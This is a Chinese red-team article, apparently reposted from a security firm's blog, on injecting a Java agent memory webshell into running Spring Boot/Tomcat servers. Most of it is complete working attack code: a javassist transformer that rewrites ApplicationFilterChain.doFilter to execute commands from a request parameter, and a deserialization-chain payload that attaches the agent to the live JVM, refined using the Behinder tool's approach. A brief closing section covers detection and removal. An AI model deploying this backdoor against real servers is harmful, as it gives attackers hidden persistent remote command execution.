九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

渗透技巧 2年前 (2022) admin
512 0 0

九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

04


Agent 实现springboot内存马注入


前面说到,由于实际环境中我们通常遇到的都是启动着的,所以 premain 方法不合适内存马注入,这里利用 agentmain 方法来尝试注入内存马。


认识javassist


    <dependency>    <groupId>javassist</groupId>    <artifactId>javassist</artifactId>    <version>3.12.0.GA</version>    </dependency>


利用javassist制作内存马



Spring Filter
随便起个controller,断点看看:
九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

我们可以发现doFilter()方法是ApplicationFilterChain。

看到doFIlter。
九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

由此就可以通过动态修改这个类的doFilter方法来达到内存马的目的,

制作agent.jar:
import java.lang.instrument.Instrumentation;

public class Agent { public static void agentmain(String agentArgs, Instrumentation inst) throws Exception{ inst.addTransformer(new DefineTransformer(),true); // 获取所有已加载的类 String ClassName="org.apache.catalina.core.ApplicationFilterChain"; Class[] classes = inst.getAllLoadedClasses(); for (Class clas:classes){ if (clas.getName().equals(ClassName)){ try{ // 对类进行重新定义 inst.retransformClasses(new Class[]{clas}); } catch (Exception e){ e.printStackTrace(); } } } }}
*左右滑动查看更多

ClassFileTransformer.class
import javassist.*;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {


public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { String ClassName = "org.apache.catalina.core.ApplicationFilterChain"; className = className.replace("/","."); if (className.equals(ClassName)){ System.out.println("Find the Inject Class: " + ClassName); ClassPool pool = ClassPool.getDefault(); try { CtClass c = pool.getCtClass(className); CtMethod m = c.getDeclaredMethod("doFilter"); m.insertBefore("javax.servlet.http.HttpServletRequest req = request;n" + "javax.servlet.http.HttpServletResponse res = response;n" + "java.lang.String cmd = request.getParameter("penson");n" + "if (cmd != null){n" + " try {n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));n" + " String line;n" + " StringBuilder sb = new StringBuilder("");n" + " while ((line=reader.readLine()) != null){n" + " sb.append(line).append("\n");n" + " }n" + " response.getOutputStream().print(sb.toString());n" + " response.getOutputStream().flush();n" + " response.getOutputStream().close();n" + " } catch (Exception e){n" + " e.printStackTrace();n" + " }n" + "}"); byte[] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception e){ e.printStackTrace(); } } return new byte[0]; }}
*左右滑动查看更多

MANIFEST.MF
Manifest-Version: 1.0Can-Redefine-Classes: trueCan-Retransform-Classes: trueAgent-Class: Agent

因为用到了第三方jar包,我们用idea编译,默认配置就行,
九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

打包成penson.jar。

由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载 tools.jar,然后结合反序列化获取到 jvm 的 pid 号之后,调用 loadAgent 方法将 agent.jar 注入进去通过cc链带入。
package com.exp.shell.agent;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class agentTest extends AbstractTranslet { //注入springboot内存马 static { try{ java.lang.String libname="penson.jar"; java.lang.String path= System.getProperty("os.name").toLowerCase().contains("window")?"c:/windows/temp/"+libname:"/tmp/"+libname; System.out.println( System.getProperty("os.name").toLowerCase()); java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar"); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null); java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null); //获取所有的jvm System.out.println("Running JVM list ..."); for(int i=0;i<list.size();i++){ Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null); java.lang.String name = (java.lang.String) displayName.invoke(o,null); // 找到我们想要插入的jvm if (name.contains("com.test.penson")){ // 获取对应进程的 pid 号 java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null); java.lang.String id = (java.lang.String) getId.invoke(o,null); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class}); java.lang.Object vm = attach.invoke(o,new Object[]{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class}); loadAgent.invoke(vm,new Object[]{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null); detach.invoke(vm,null); System.out.println("penson.jar Inject Success !!"); break; } } } catch (Exception e){ e.printStackTrace(); } }


@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}
*左右滑动查看更多


引用冰蝎java-agent内存马实现无包名注入



看到上面java-agent马其实有个缺陷,必须知道对应的包名我们才能注入,然而实战环境中是很难知道对应的包名的,但是冰蝎是可以随便注入的,由此分析冰蝎的内存马注入流程。

首先看到是如何用vm注入的:
首先在MainController.injectMemShell()方法中来进行注入内存马,这里我们主要看到文件落地型java-agent内存马。
九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

进到injectAgent方法:
九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

这个逻辑还是很清晰的,先确定当前的操作系统,然后确认上传java-agent的文件路径,在选择对应的java-agent的jar包。

我们主要看到里面的injectAgentMemShell方法:
九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)
九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)
发现是调用action为injectAgent是在MemShell进行的。

看到MemShell:
九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

这里就是冰蝎注入内存马的逻辑了:
九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

我们看到在实现attach方法时,传的pid是用getCurrentPID()进行传递的。
九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

由于在注入之前我们需要知道对应的pid,冰蝎用了ManagementFactory.getRuntimeMXBean().getName()来自动获取当前的pid。

验证一下,我们可以发现pid是一样的:
九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

由此改造原来的注入链:
package com.exp.shell.agent;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.management.ManagementFactory;
public class agentTest extends AbstractTranslet { //注入springboot内存马 static { try{ java.lang.String libname="penson.jar"; java.lang.String path= System.getProperty("os.name").toLowerCase().contains("window")?"c:/windows/temp/"+libname:"/tmp/"+libname; System.out.println( System.getProperty("os.name").toLowerCase()); java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar"); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null); //获取当前运行的进程 String name = ManagementFactory.getRuntimeMXBean().getName(); String pid = name.split("@")[0]; System.out.println(name+" "+pid);

java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class}); java.lang.Object vm = attach.invoke(MyVirtualMachine,new Object[]{pid}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class}); loadAgent.invoke(vm,new Object[]{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null); detach.invoke(vm,null); System.out.println("penson.jar Inject Success !!"); } catch (Exception e){ e.printStackTrace(); } }


@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}
*左右滑动查看更多

这样就不用知道对应的包名就可以直接注入内存马了。

05


防范与检测建议


可以使用

sa-jdi.jar //这是一个jvm监控工具集合


jps -l 

列出jvm进程:

九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)


和之前注入agent内存马一样,只要有实现了ClassFileTransformer接口的类,则可能存在agent内存马。


如何清除?

将doFilter方法还原即可:

九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

我们可以看到ApplicationFilterChain的doFilter方法:

try {                CtClass c = pool.getCtClass(className);                CtMethod m = c.getDeclaredMethod("doFilter");                m.setBody("{internalDoFilter($1,$2);}");                byte[] bytes = c.toBytecode();                c.detach();                return bytes;            } catch (Exception e) {                e.printStackTrace();}


*左右滑动查看更多



参考及推荐阅读:
http://wjlshare.com/archives/1582https://xz.aliyun.com/t/9450https://www.yuque.com/tianxiadamutou/zcfd4v/tdvszqhttps://cangqingzhe.github.io/2021/10/13/JavaAgent%E5%86%85%E5%AD%98%E9%A9%AC%E7%A0%94%E7%A9%B6/
*左右滑动查看更多




—  往期回顾  —


九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)



关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)


九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)
九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二)

版权声明:admin 发表于 2022年10月24日 下午4:27。
转载请注明:九维团队-红队(突破)| 关于文件落地型java-agent内存马探讨(二) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...